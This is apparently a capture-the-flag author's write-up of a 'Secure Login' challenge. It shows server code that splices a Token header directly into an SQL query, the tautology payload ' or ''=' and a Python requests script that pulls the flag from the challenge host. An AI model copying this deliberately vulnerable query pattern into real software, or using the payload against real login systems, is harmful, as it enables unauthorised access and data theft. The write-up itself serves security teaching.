Secure Login
This challenge is meant to be a straightforward SQL injection challenge.
The only hurdle to exploitation is the vulnerable field is not present in the user interface, requiring participants to use tools like Burp Suite to solve the challenge.
Most teams (12/19) were able to solve this challenge.
Vulnerability
The source code of the challenge server is provided below (abbreviated and reformatted for readability).
flag = open("./flag.txt").read()
db = sqlite3.connect(":memory:")
db.execute("""
create table if not exists users (
id int,
name varchar(255),
password varchar(255),
token varchar(255),
message varchar(255)
)""")
db.execute(
f"insert into users values (1, 'admin',
'{secrets.token_hex(32)}', '{secrets.token_hex(32)}', '{flag}');"
)
@app.route("/login", methods=["post"])
def login():
username = request.form.get('username', default='', type=str)
password = request.form.get('password', default='', type=str)
token = request.headers.get('Token', '')
users = db.execute(
f"select message from users where name=? and password=? or token='{token}'",
[username, password]
).fetchall()
if users:
return Response(users[0][0], mimetype='text/plain')
return Response('Login failed', mimetype='text/plain')
We can see that the flag is stored in the message
column of the users
table and there is only one row in table.
Moving on to the /login
route, we see an SQL query reading the message
column from users
. Most of the fields are properly handled via sqlite
's parameter substitution. However, one field, token
is directly interpolated into the string. Tracing the flow of the token
variable, we observe that it is obtained from the Token
header. Now, we have all the pieces that are necessary to exploit this service.
Exploitation
Since the login form only contains the username
and password
fields, we will need to either use Burp Suite or write a script to deliver our payload.
Burp Suite
First, we open the challenge website in Burp Proxy and submit the form with some garbage input. We should observe the following HTTP request in the HTTP history.
Next, we send the request to the Repeater, which will allow us to add a Token
header. Let's add a Token
header with the SQLi payload ' or ''='
. This will result in select message from users where name=? and password=? or token='' or ''=''
being executed, which will cause all rows to be returned.
Sending this request to the server will result in the revelation of the flag.
Python requests
We can also do the same thing pretty easily using the Python requests
library:
import requests
target = "http://challs.nusgreyhats.org:55680"
req = requests.post(target + "/login", headers={"Token": "' or ''='"})
print(req.text)
Author's observations
The participants seemed to have no problems solving this challenge. No technical issues were observed either.